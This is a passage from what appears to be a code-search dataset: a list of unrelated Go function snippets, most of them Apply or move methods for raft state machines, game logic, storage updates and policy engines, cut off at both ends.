{\n\t\tlog.Fatal(\"emb: read-only embeddings cannot apply delta\")\n\t}\n\te.Param.ApplyDelta(delta)\n\tif _, err := e.storage.update(e); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}","func (m *ItemsMutator) Apply() error {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\t*m.target = *m.proxy\n\treturn nil\n}","func ApplyMoveToBoard(move int, playerId int, bp *[NumRows][NumColumns]int) (*[NumRows][NumColumns]int, error) {\n\tif move >= NumColumns || move < 0 {\n\t\treturn bp, errors.New(fmt.Sprintf(\"Move %d is invalid\", move))\n\t}\n\tfor i := NumRows - 1; i >= 0; i-- {\n\t\tif bp[i][move] == 0 {\n\t\t\tbp[i][move] = playerId\n\t\t\treturn bp, nil\n\t\t}\n\t}\n\treturn bp, errors.New(fmt.Sprintf(\"No room in column %d for a move\", move))\n}","func (room *Room) applyAction(conn *Connection, cell *Cell) {\n\tindex := conn.Index()\n\n\tfmt.Println(\"points:\", room.Settings.Width, room.Settings.Height, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\n\tswitch {\n\tcase cell.Value < CellMine:\n\t\troom.Players.IncreasePlayerPoints(index, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\n\tcase cell.Value == CellMine:\n\t\troom.Players.IncreasePlayerPoints(index, float64(-100))\n\t\troom.Kill(conn, ActionExplode)\n\tcase cell.Value > CellIncrement:\n\t\troom.FlagFound(*conn, cell)\n\t}\n}","func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}","func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}","func (expr *Action) Apply(val interface{}) interface{} {\n\treturn expr.functor(val)\n}","func (plan *Plan) Apply(fn ApplyFunction, resultUpdater ApplyResultUpdater) *ApplyResult {\n\t// make sure we are converting panics into errors\n\tfnModified := func(act Interface) (errResult error) {\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\t\t\t\terrResult = fmt.Errorf(\"panic: %s\\n%s\", err, string(debug.Stack()))\n\t\t\t}\n\t\t}()\n\t\treturn fn(act)\n\t}\n\n\t// update total number of actions and start the revision\n\tresultUpdater.SetTotal(plan.NumberOfActions())\n\n\t// apply the plan and calculate result (success/failed/skipped actions)\n\tplan.applyInternal(fnModified, resultUpdater)\n\n\t// tell results updater that we are done and return the results\n\treturn resultUpdater.Done()\n}","func (s *Store) Apply(log *raft.Log) interface{} {\n\tvar c command\n\tif err := json.Unmarshal(log.Data, &c); err != nil {\n\t\tpanic(fmt.Sprintf(\"Failed to unmarshal command: %s\", err.Error()))\n\t}\n\n\tswitch c.Op {\n\tcase \"SET\":\n\t\treturn s.applySet(c.Key, c.Val)\n\tcase \"DELETE\":\n\t\treturn s.applyDelete(c.Key)\n\tdefault:\n\t\treturn fmt.Sprintf(\"Unsupported operation: %s\", c.Op)\n\t}\n\n\treturn nil\n}","func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\n\tvar db *kv.DB\n\tdb, step.DBID = a.getNextDBRoundRobin()\n\n\tstep.Before = db.Clock().Now()\n\tdefer func() {\n\t\tstep.After = db.Clock().Now()\n\t\tif p := recover(); p != nil {\n\t\t\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\n\t\t}\n\t}()\n\tapplyOp(ctx, db, &step.Op)\n\treturn nil\n}","func (u updateCachedDownloadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func(t *TargImp) Apply(a Action) os.Error {\n\n\tif !t.commandSent {\n\t\tt.commandSent = true\n\t\treturn a(t)\n\t}\n\treturn nil\n}","func (e *Engine) Apply(c Command) {\n\te.mutex.Lock()\n\tdefer e.mutex.Unlock()\n\tswitch c.Op {\n\tcase addCommand:\n\t\t_, err := e.enforcer.AddPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase removeCommand:\n\t\t_, err := e.enforcer.RemovePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase removeFilteredCommand:\n\t\t_, err := e.enforcer.RemoveFilteredPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.FiledIndex, c.FiledValues...)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase clearCommand:\n\t\terr := e.enforcer.ClearPolicySelf(e.shouldPersist)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase updateCommand:\n\t\t_, err := e.enforcer.UpdatePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.OldRule, c.NewRule)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tdefault:\n\t\te.logger.Panic(\"unknown command\", zap.Any(\"command\", c))\n\t}\n}","func (tt *TtTable) Put(key position.Key, move Move, depth int8, value Value, valueType ValueType, mateThreat bool) {\n\n\t// if the size of the TT = 0 we\n\t// do not store anything\n\tif tt.maxNumberOfEntries == 0 {\n\t\treturn\n\t}\n\n\t// read the entries for this hash\n\tentryDataPtr := &tt.data[tt.hash(key)]\n\t// encode value into the move if it is a valid value (min < v < max)\n\tif value.IsValid() {\n\t\tmove = move.SetValue(value)\n\t} else {\n\t\ttt.log.Warningf(\"TT Put: Tried to store an invalid Value into the TT %s (%d)\", value.String(), int(value))\n\t}\n\n\ttt.Stats.numberOfPuts++\n\n\t// NewTtTable entry\n\tif entryDataPtr.Key == 0 {\n\t\ttt.numberOfEntries++\n\t\tentryDataPtr.Key = key\n\t\tentryDataPtr.Move = move\n\t\tentryDataPtr.Depth = depth\n\t\tentryDataPtr.Age = 1\n\t\tentryDataPtr.Type = valueType\n\t\tentryDataPtr.MateThreat = mateThreat\n\t\treturn\n\t}\n\n\t// Same hash but different position\n\tif entryDataPtr.Key != key {\n\t\ttt.Stats.numberOfCollisions++\n\t\t// overwrite if\n\t\t// - the new entry's depth is higher\n\t\t// - the new entry's depth is same and the previous entry is old (is aged)\n\t\tif depth > entryDataPtr.Depth ||\n\t\t\t(depth == entryDataPtr.Depth && entryDataPtr.Age > 1) {\n\t\t\ttt.Stats.numberOfOverwrites++\n\t\t\tentryDataPtr.Key = key\n\t\t\tentryDataPtr.Move = move\n\t\t\tentryDataPtr.Depth = depth\n\t\t\tentryDataPtr.Age = 1\n\t\t\tentryDataPtr.Type = valueType\n\t\t\tentryDataPtr.MateThreat = mateThreat\n\t\t}\n\t\treturn\n\t}\n\n\t// Same hash and same position -> update entry?\n\tif entryDataPtr.Key == key {\n\t\ttt.Stats.numberOfUpdates++\n\t\t// we always update as the stored moved can't be any good otherwise\n\t\t// we would have found this during the search in a previous probe\n\t\t// and we would not have come to store it again\n\t\tentryDataPtr.Key = key\n\t\tentryDataPtr.Move = move\n\t\tentryDataPtr.Depth = depth\n\t\tentryDataPtr.Age = 1\n\t\tentryDataPtr.Type = valueType\n\t\tentryDataPtr.MateThreat = mateThreat\n\t\treturn\n\t}\n}","func (g *generator) parseProxyApply(parameters codegen.Set, args []model.Expression,\n\tthen model.Expression,\n) (model.Expression, bool) {\n\tif len(args) != 1 {\n\t\treturn nil, false\n\t}\n\n\targ := args[0]\n\tswitch then := then.(type) {\n\tcase *model.IndexExpression:\n\t\t// Rewrite `__apply(, eval(x, x[index]))` to `[index]`.\n\t\tif !isParameterReference(parameters, then.Collection) {\n\t\t\treturn nil, false\n\t\t}\n\t\tthen.Collection = arg\n\tcase *model.ScopeTraversalExpression:\n\t\tif !isParameterReference(parameters, then) {\n\t\t\treturn nil, false\n\t\t}\n\n\t\tswitch arg := arg.(type) {\n\t\tcase *model.RelativeTraversalExpression:\n\t\t\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\n\t\t\targ.Parts = append(arg.Parts, then.Parts...)\n\t\tcase *model.ScopeTraversalExpression:\n\t\t\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\n\t\t\targ.Parts = append(arg.Parts, then.Parts...)\n\t\t}\n\tdefault:\n\t\treturn nil, false\n\t}\n\n\tdiags := arg.Typecheck(false)\n\tcontract.Assertf(len(diags) == 0, \"unexpected diagnostics: %v\", diags)\n\treturn arg, true\n}","func (cmd *Start) Apply(ctxt context.Context, _ io.Writer, _ retro.Session, repo retro.Repo) (retro.CommandResult, error) {\n\treturn retro.CommandResult{cmd.session: []retro.Event{events.StartSession{}}}, nil\n}","func (a *TurnClockwise90Action) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetTurnClockwise90(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.GetOwner())\n\t}\n\tplayer.Facing = player.Facing + 1\n\tif player.Facing > 3 {\n\t\tplayer.Facing = 0\n\t}\n\treturn nextState, nil\n}","func (p *cursorOffsetPreferred) move() {\n\tc := p.from\n\tdefer c.allowUsable()\n\n\t// Before we migrate the cursor, we check if the destination source\n\t// exists. If not, we do not migrate and instead force a metadata.\n\n\tc.source.cl.sinksAndSourcesMu.Lock()\n\tsns, exists := c.source.cl.sinksAndSources[p.preferredReplica]\n\tc.source.cl.sinksAndSourcesMu.Unlock()\n\n\tif !exists {\n\t\tc.source.cl.triggerUpdateMetadataNow()\n\t\treturn\n\t}\n\n\t// This remove clears the source's session and buffered fetch, although\n\t// we will not have a buffered fetch since moving replicas is called\n\t// before buffering a fetch.\n\tc.source.removeCursor(c)\n\tc.source = sns.source\n\tc.source.addCursor(c)\n}","func (te *TarExtractor) applyMetadata(path string, hdr *tar.Header) error {\n\t// Modify the header.\n\tif err := unmapHeader(hdr, te.mapOptions); err != nil {\n\t\treturn errors.Wrap(err, \"unmap header\")\n\t}\n\n\t// Restore it on the filesystme.\n\treturn te.restoreMetadata(path, hdr)\n}","func (u updateUploadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateUploadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\n\tif u.NewSectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\n\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Correctly handle error.\n\t}\n\n\tc.UploadSpending = u.NewUploadSpending\n\tc.StorageSpending = u.NewStorageSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}","func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\r\n\tif len(ents) == 0 {\r\n\t\treturn\r\n\t}\r\n\tfirstIndex := ents[0].Index\r\n\tif firstIndex > re.appliedIndex+1 {\r\n\t\tlog.ZAPSugaredLogger().Errorf(\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\", firstIndex, re.appliedIndex)\r\n\t\treturn\r\n\t}\r\n\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\r\n\t\tnents = ents[re.appliedIndex-firstIndex+1:]\r\n\t}\r\n\treturn\r\n}","func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\n\tbuf, err := structs.Encode(t, msg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to encode request: %v\", err)\n\t}\n\n\t// Warn if the command is very large\n\tif n := len(buf); n > raftWarnSize {\n\t\ts.logger.Printf(\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\", n)\n\t}\n\n\tfuture := s.raft.Apply(buf, enqueueLimit)\n\tif err := future.Error(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn future.Response(), nil\n}","func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}","func (s *Store) move(id, targetID string, before bool) error {\n\t// We're going to be modifying our items slice - lock for writing.\n\ts.mutex.Lock()\n\n\t// Unlock once we're done.\n\tdefer s.mutex.Unlock()\n\n\tindex := -1\n\ttarget := -1\n\n\t// Find the indexes of the items we're moving.\n\tfor i, item := range s.items {\n\t\tif item.id == id {\n\t\t\tindex = i\n\t\t}\n\n\t\tif item.id == targetID {\n\t\t\ttarget = i\n\t\t}\n\n\t\t// We can break early if we've found both indexes.\n\t\tif index != -1 && target != -1 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// If either of the indexes is missing, return an error.\n\tif index == -1 || target == -1 {\n\t\treturn moodboard.ErrNoSuchItem\n\t}\n\n\titem := s.items[index]\n\n\tif index < target {\n\t\t// If we're moving the item before the target and it's already before the target then we need to take\n\t\t// 1 off the target to ensure we don't insert it after the target.\n\t\tif before {\n\t\t\ttarget--\n\t\t}\n\n\t\t// index = 1\n\t\t// target = 4\n\t\t//\n\t\t// 0 1 2 3 4 5\n\t\t// -----------\n\t\t// A B C D E F\n\t\t// | / / / |\n\t\t// A C D E X F\n\t\t// | | | | | |\n\t\t// A C D E B F\n\t\tcopy(s.items[index:], s.items[index+1:target+1])\n\t} else if index > target {\n\t\t// If we're moving the item after the target and it's already after the target then we need to add 1\n\t\t// to the target to ensure we don't insert it before the target.\n\t\tif !before {\n\t\t\ttarget++\n\t\t}\n\n\t\t// move([]string{\"A\", \"B\", \"C\", \"D\", \"E\", \"F\"}, 4, 1)\n\t\t//\n\t\t// 0 1 2 3 4 5\n\t\t// -----------\n\t\t// A B C D E F\n\t\t// | \\ \\ \\ |\n\t\t// A X B C D F\n\t\t// | | | | | |\n\t\t// A E B C D F\n\t\tcopy(s.items[target+1:], s.items[target:index])\n\t}\n\n\ts.items[target] = item\n\n\treturn nil\n}","func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\n\t// Apply snapshot\n\tgm.applySnapshot(gmp, apply)\n\t// Apply entries.\n\tgm.applyEntries(gmp, apply)\n\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\n\t// or applied index might be greater than the last index in raft storage.\n\t// since the raft routine might be slower than apply routine.\n\t<-apply.notifyc\n\t// Create snapshot if necessary\n\tgm.triggerSnapshot(gmp)\n}","func Apply(store *MemoryStore, item events.Event) (err error) {\n\treturn store.Update(func(tx Tx) error {\n\t\tswitch v := item.(type) {\n\t\tcase state.EventCreateTask:\n\t\t\treturn CreateTask(tx, v.Task)\n\t\tcase state.EventUpdateTask:\n\t\t\treturn UpdateTask(tx, v.Task)\n\t\tcase state.EventDeleteTask:\n\t\t\treturn DeleteTask(tx, v.Task.ID)\n\n\t\tcase state.EventCreateService:\n\t\t\treturn CreateService(tx, v.Service)\n\t\tcase state.EventUpdateService:\n\t\t\treturn UpdateService(tx, v.Service)\n\t\tcase state.EventDeleteService:\n\t\t\treturn DeleteService(tx, v.Service.ID)\n\n\t\tcase state.EventCreateNetwork:\n\t\t\treturn CreateNetwork(tx, v.Network)\n\t\tcase state.EventUpdateNetwork:\n\t\t\treturn UpdateNetwork(tx, v.Network)\n\t\tcase state.EventDeleteNetwork:\n\t\t\treturn DeleteNetwork(tx, v.Network.ID)\n\n\t\tcase state.EventCreateNode:\n\t\t\treturn CreateNode(tx, v.Node)\n\t\tcase state.EventUpdateNode:\n\t\t\treturn UpdateNode(tx, v.Node)\n\t\tcase state.EventDeleteNode:\n\t\t\treturn DeleteNode(tx, v.Node.ID)\n\n\t\tcase state.EventCommit:\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(\"unrecognized event type\")\n\t})\n}","func ApplyCastling(board Board, kingPos Position, kingInfo PieceInfo, direction int) (newBoard Board) {\n\tvar rockMove, kingMove FullMove\n\tnewBoard = board\n\n\tif direction < 0 {\n\t\trockMove = FullMove{ Position{0, kingPos.y}, Move{3, 0} }\n\t} else {\n\t\trockMove = FullMove{ Position{7, kingPos.y}, Move{-2, 0} }\n\t}\n\n\tSetBoardAt(&newBoard, rockMove.pos, PieceInfo{ Piece_Rock, PieceStatus_CastlingNotAllowed, kingInfo.color })\n\tSetBoardAt(&newBoard, kingPos, PieceInfo{ kingInfo.piece, PieceStatus_CastlingNotAllowed, kingInfo.color })\n\n\tupdateStates := true\n\tkingMove = FullMove{ kingPos, Move{direction * 2, 0} }\n\tnewBoard = ApplyMove(newBoard, rockMove, updateStates)\n\tnewBoard = ApplyMove(newBoard, kingMove, updateStates)\n\n\treturn\n}","func (tx *Tx) SMove(src, dst string, member string) error {\n\tif tx.db.hasExpired(src, Set) {\n\t\ttx.db.evict(src, Hash)\n\t\treturn ErrExpiredKey\n\t}\n\tif tx.db.hasExpired(dst, Set) {\n\t\ttx.db.evict(dst, Hash)\n\t\treturn ErrExpiredKey\n\t}\n\n\tok := tx.db.setStore.SMove(src, dst, member)\n\tif ok {\n\t\te := newRecordWithValue([]byte(src), []byte(member), []byte(dst), SetRecord, SetSMove)\n\t\ttx.addRecord(e)\n\t}\n\treturn nil\n}","func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\n\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\n}","func (f *raftStore) Apply(l *raft.Log) interface{} {\n\tvar newState state\n\tif err := json.Unmarshal(l.Data, &newState); err != nil {\n\t\treturn errors.Wrap(err, \"failed to unmarshal state\")\n\t}\n\tf.logger.Debug(\"Applying new status\", \"old\", f.m.GetCurrentState(), \"new\", newState)\n\tf.mu.Lock()\n\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\n\t\tf.inFlight = nil\n\t}\n\tf.mu.Unlock()\n\tf.m.setNewState(newState)\n\treturn nil\n}","func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\n\tindex, err := applyJoin(c, context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, index)\n\treturn b, nil\n}","func (m Matrix) Moved(delta Vec) Matrix {\n\tm[4], m[5] = m[4]+delta.X, m[5]+delta.Y\n\treturn m\n}","func(s *SetImp) Apply(t Target, a Action) os.Error {\n\tif err := t.ApplyPreq(a); err != nil { return err }\n\tif err := t.Apply(a); err != nil { return err }\n\treturn nil\n}","func (s *Stream) AmendEntry(entry *stream.StreamEntry, oldTimestamp time.Time) error {\n\t_, err := s.dataTable.Get(oldTimestamp).Replace(entry).RunWrite(s.h.rctx)\n\treturn err\n}","func (m *Map) Move(loc Location, d Direction) Location {\n\tRow, Col := m.FromLocation(loc)\n\tswitch d {\n\t\tcase North:\t\tRow -= 1\n\t\tcase South:\t\tRow += 1\n\t\tcase West:\t\tCol -= 1\n\t\tcase East:\t\tCol += 1\n\t\tcase NoMovement: //do nothing\n\t\tdefault: Panicf(\"%v is not a valid direction\", d)\n\t}\n\treturn m.FromRowCol(Row, Col) //this will handle wrapping out-of-bounds numbers\n}","func (pred *LikePredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\n\tlike := \"like\"\n\n\tif pred.CaseSensitive {\n\t\tlike = \"ilike\"\n\t}\n\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s %s ?\", pred.Column.Name(), like))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}","func (moves Moves) ApplyPrefix(prefix path.Path) Moves {\n\tnewMoves := make(Moves, len(moves))\n\tfor i, mv := range moves {\n\t\tnewMoves[i] = mv.ApplyPrefix(prefix)\n\t}\n\n\treturn newMoves\n}","func (u *MacroUpdate) Apply(m *Macro) error {\n\tif u.Name != \"\" {\n\t\tm.Name = u.Name\n\t}\n\n\tif u.Selected != nil {\n\t\tm.Selected = u.Selected\n\t}\n\n\tif u.Arguments != nil {\n\t\tm.Arguments = u.Arguments\n\t}\n\n\treturn nil\n}","func (gm *gmap) applySnapshot(gmp *gmapProgress, apply *apply) {\n\t// Check snapshot empty or not.\n\tif raft.IsEmptySnap(apply.snapshot) {\n\t\treturn\n\t}\n\t// Write apply snapshot log.\n\tlogger.Infof(\"applying snapshot at index %d...\", gmp.snapi)\n\tdefer func() { logger.Infof(\"finished applying incoming snapshot at index %d\", gmp.snapi) }()\n\t// If the index of snapshot is smaller than the currently applied index, maybe raft is fault.\n\tif apply.snapshot.Metadata.Index < gmp.appliedi {\n\t\tlogger.Panicf(\"snapshot index [%d] should > applied index[%d] + 1\", apply.snapshot.Metadata.Index, gmp.appliedi)\n\t}\n\t// Because gmap does not need to be persistent, don't need wait for raftNode to persist snapshot into the disk.\n\t// <-apply.notifyc\n\t// Load storage data from snapshot.\n\tif err := gm.sets.load(apply.snapshot.Data); nil != err {\n\t\tlogger.Panicf(\"storage load error:%v\", err)\n\t}\n\t// Update gmap raft apply progress.\n\tgmp.appliedt, gmp.appliedi, gmp.confState = apply.snapshot.Metadata.Term, apply.snapshot.Metadata.Index, apply.snapshot.Metadata.ConfState\n\tgmp.snapi = gmp.appliedi\n}","func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\n\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\n\treturn event, errors.Err()\n}","func (p *Player) move(treasureMap map[[2]int]int) ([2]int, bool) {\n\n\tif p.DirectionTaken == up {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] + 1}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = right\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\tif p.DirectionTaken == right {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0] + 1, p.Position[1]}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = down\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\tif p.DirectionTaken == down {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] - 1}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = stuck\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\treturn p.Position, false\n}","func (sm *ShardMaster) operateApply() {\n\tfor msg := range sm.applyCh {\n\t\top := msg.Command.(Op)\n\t\tsm.mu.Lock()\n\t\tswitch op.Type {\n\t\tcase \"Join\": {\n\t\t\targs := op.Args.(JoinArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.join(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Leave\": {\n\t\t\targs := op.Args.(LeaveArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.leave(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Move\": {\n\t\t\targs := op.Args.(MoveArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.move(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Query\": {\n\t\t\targs := op.Args.(QueryArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.queryResults[msg.CommandIndex] = sm.query(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tdefault:\n\t\t\tlog.Fatal(\"Unrecognized op type\")\n\t\t}\n\t\tif sm.killed() {return}\n\t}\n}","func (elems *ElementsNR) move(from, to dvid.Point3d, deleteElement bool) (moved *ElementNR, changed bool) {\n\tfor i, elem := range *elems {\n\t\tif from.Equals(elem.Pos) {\n\t\t\tchanged = true\n\t\t\t(*elems)[i].Pos = to\n\t\t\tmoved = (*elems)[i].Copy()\n\t\t\tif deleteElement {\n\t\t\t\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\n\t\t\t\t*elems = (*elems)[:len(*elems)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}","func (entry *TableEntry) ApplyCommit() (err error) {\n\terr = entry.BaseEntryImpl.ApplyCommit()\n\tif err != nil {\n\t\treturn\n\t}\n\t// It is not wanted that a block spans across different schemas\n\tif entry.isColumnChangedInSchema() {\n\t\tentry.FreezeAppend()\n\t}\n\t// update the shortcut to the lastest schema\n\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\n\treturn\n}","func (mv *Move) ApplyPrefix(prefix path.Path) *Move {\n\treturn &Move{\n\t\tFrom: prefix.Append(mv.From),\n\t\tTo: prefix.Append(mv.To),\n\t}\n}","func (s *State) apply(commit Commit) error {\n\t// state to identify proposals being processed\n\t// in the PendingProposals. Avoids linear loop to\n\t// remove entries from PendingProposals.\n\tvar processedProposals = map[string]bool{}\n\terr := s.applyProposals(commit.Updates, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Removes, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Adds, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (this *ObjectPut) Apply(context Context, first, second, third value.Value) (value.Value, error) {\n\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.SetField(field, third)\n\treturn rv, nil\n}","func (f *FileUtil) move(src, dst string) {\n\tsrc = FixPath(src)\n\tdst = FixPath(dst)\n\tif f.Verbose {\n\t\tfmt.Println(\"Moving\", src, \"to\", dst)\n\t}\n\t_, err := f.dbx.Move(files.NewRelocationArg(src, dst))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}","func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (this 